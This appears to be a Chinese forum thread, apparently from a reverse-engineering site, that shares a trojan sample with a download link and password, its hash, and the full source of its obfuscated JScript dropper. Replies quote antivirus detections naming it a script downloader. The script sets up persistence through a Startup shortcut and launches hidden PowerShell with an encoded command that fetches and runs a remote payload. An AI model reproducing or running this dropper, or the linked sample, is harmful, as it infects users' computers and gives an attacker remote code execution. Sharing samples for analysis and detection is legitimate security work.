木马病毒 1X

wwwab

下载：https://wwi.lanzouw.com/im1KLya83mh 密码:52pj

分析：https://www.52pojie.cn/thread-1570563-1-1.html


Sha-256：a8bb13a0dcec03fb452a53e985285b74c511eb7daacb9daa22dbb647705fba9b


恶意文件解包后为ID.js


内容为

1. ERUJHTSETJSEJSEA = function(ObjN) {
   
2.   ResName = new ActiveXObject(ObjN);
   
3.   return ResName;
   
4. };
   
5. WScript.Sleep(5005);
   
6. function ASDGHKFIASYLWGHAfi(str) {
   
7.    
   
8.     splitString = str.split("");
   
9.    
   
10.   
    
11.    
    
12.     reverseArray = splitString.reverse();
    
13.    
    
14.   
    
15.    
    
16.     joinArray = reverseArray.join("");
    
17.   
    
18.    
    
19.     return joinArray;
    
20. };
    
21. 
    
22. aq = ASDGHKFIASYLWGHAfi("sj.muimorhC\\atadppa\");
    
23. 
    
24. WScript.Sleep(2002);
    
25. 
    
26. SETYa = ASDGHKFIASYLWGHAfi("tAFIFcejAFIFbOmetAFIFsySelAFIFiF.gAFIFniAFIFtpirAFIFcS");
    
27. 
    
28. SETYaa = SETYa.replace(/FIFA/g, '');
    
29. 
    
30. fso=WScript.CreateObject (SETYaa);
    
31. 
    
32. zr = fso.FileExists(aq); if (zr == false) {
    
33. 
    
34. 
    
35. 
    
36. WScript.Sleep(2002);
    
37. SETYs = ASDGHKFIASYLWGHAfi("llAFIFeAFIFhS.tpiAFIFrcAFIFSW");
    
38. 
    
39. SETYss = SETYs.replace(/FIFA/g, '');
    
40. 
    
41. wscr = new ERUJHTSETJSEJSEA(SETYss);
    
42. 
    
43. fso.CopyFile (WScript.ScriptFullName, wscr.ExpandEnvironmentStrings(ASDGHKFIASYLWGHAfi("%ELIFORPRESU%")) + aq , true);
    
44. 
    
45. 
    
46. WScript.Sleep(8008);
    
47. 
    
48. 
    
49. 
    
50. 
    
51. link = wscr.SpecialFolders(ASDGHKFIASYLWGHAfi("putratS"))+ASDGHKFIASYLWGHAfi("\")+ASDGHKFIASYLWGHAfi("knl.ini.muimorhC");
    
52. 
    
53. shortcut = wscr.CreateShortcut(link);
    
54. 
    
55. shortcut.TargetPath = ASDGHKFIASYLWGHAfi("%ELIFORPRESU%") + aq;
    
56. 
    
57. shortcut.Arguments = ASDGHKFIASYLWGHAfi(ASDGHKFIASYLWGHAfi(""));
    
58. WScript.Sleep(1000);
    
59. shortcut.Description = ASDGHKFIASYLWGHAfi("ini.muimorhC");
    
60. 
    
61. shortcut.IconLocation = ASDGHKFIASYLWGHAfi("96,lld.23LLEHS\\23metsys\\%tooRmetsyS%");
    
62. 
    
63. shortcut.WindowStyle = 4;
    
64. 
    
65. shortcut.Save();
    
66. 
    
67. }
    
68. 
    
69. WScript.Sleep(8008);
    
70. try { setTimeout(ASDGHKFIASYLWGHAfi(ASDGHKFIASYLWGHAfi("")),888); } catch(f) {
    
71. SETYy = ASDGHKFIASYLWGHAfi("eAFIFxAFIFeAFIF.lAFIFleAFIFhsAFIFrewAFIFoPAFIF");
    
72. 
    
73. SETYyy = SETYy.replace(/FIFA/g, '');
    
74. C=SETYyy;
    
75. 
    
76. 
    
77. BB=ASDGHKFIASYLWGHAfi(" e- tixeon- ");
    
78. 
    
79. SD=ASDGHKFIASYLWGHAfi("wGADBgYAUGAXBgLAQHAlBgTAcCAgAAdAMGAlBgaAIGAPBQLAcHAlBgTAgCAoAwZA4GApBgcAQHATBANAYDAlBwcAEGAiBQbA8GAyBgRAoDA6AQXAQHAyBQZAYHAuBwbAMEAbBAKAQGAhBwbAwEAuAgbAkGAhBQbA8GAEBAdA4GAlBgcAIHA1BwQAoDA6AQXA4GApBQYA0GAvBARAAHAwBQQAsFAgAwOAgDAgAAcAUGAlBAbAMHAgAAI");
    
80. 
    
81. SV=ASDGHKFIASYLWGHAfi("GAwBQZAIHAuAQKAcCAzAAcA0GAuAgYA8CA0BQaAIGAvAQZAMGAhBAcAMHAuAgaAMHAzBQaAMHAvAwLAoDAwBAdAQHAoBwJAgCAnAwZA4GApBgcAQHATBAZAEGAvBAbA4GA3BwbAQEAnAgLAkCAnAAdA4GAlBQaA");
    
82. 
    
83. SF=ASDGHKFIASYLWGHAfi("AkCAsBAbAUHAuBAJAwCAsBAbAUHAuBAJAgCAlBwaA8GA2BgbAkGAuAAdA4GApBwbAAFA5BgcAQHAuBQRA4CApAQKAkCAnAQQAcCAsAwJA4HAhAgKA4FAnAAKAUGAjBQYAw");
    
84. 
    
85. wscr.Run(C+BB+SD+SV+SF,0,false);
    
86. 
    
87. };

复制代码

anthonyqian

文件名: FileViewPro-S-1.9.8.19.exe
威胁名称: Trojan.Gen.MBT

少量用户信任的文件
Norton 社区中有数百名用户 使用了此文件。

发布已久的文件
该文件已在 2 年 2 个月 前发行。

高
此文件具有高风险。

Zzzz666

不是病毒

Hacker-云

秋日之殇

事件: 检测到恶意对象
组件: 病毒扫描
结果: 检测到
结果说明: 检测到
类型: 木马
名称: HEUR:Trojan-Downloader.Script.SLoad.gen
精确度: 启发式分析
威胁级别: 高
对象类型: 文件
对象名称: ID.js
对象路径: D:\Browerdownload\Programs\FileViewPro-S-1.9.8.19.exe//
MD5: 624D61AC81E0F6F7EA5CA40EACE276A9
原因: 机器学习
数据库发布日期: 今天，2022-01-08 13:54:00

心心相印

avast kill

东南大学

大蜘蛛Kill

ANY.LNK

MS Defender：目前报告为TrojanDownloader:JS/Nemucod
严重性为尚未分类

救命稻草

wwwab

Zzzz666 发表于 2022-1-8 16:29
不是病毒

不是个毛啊？都有人分析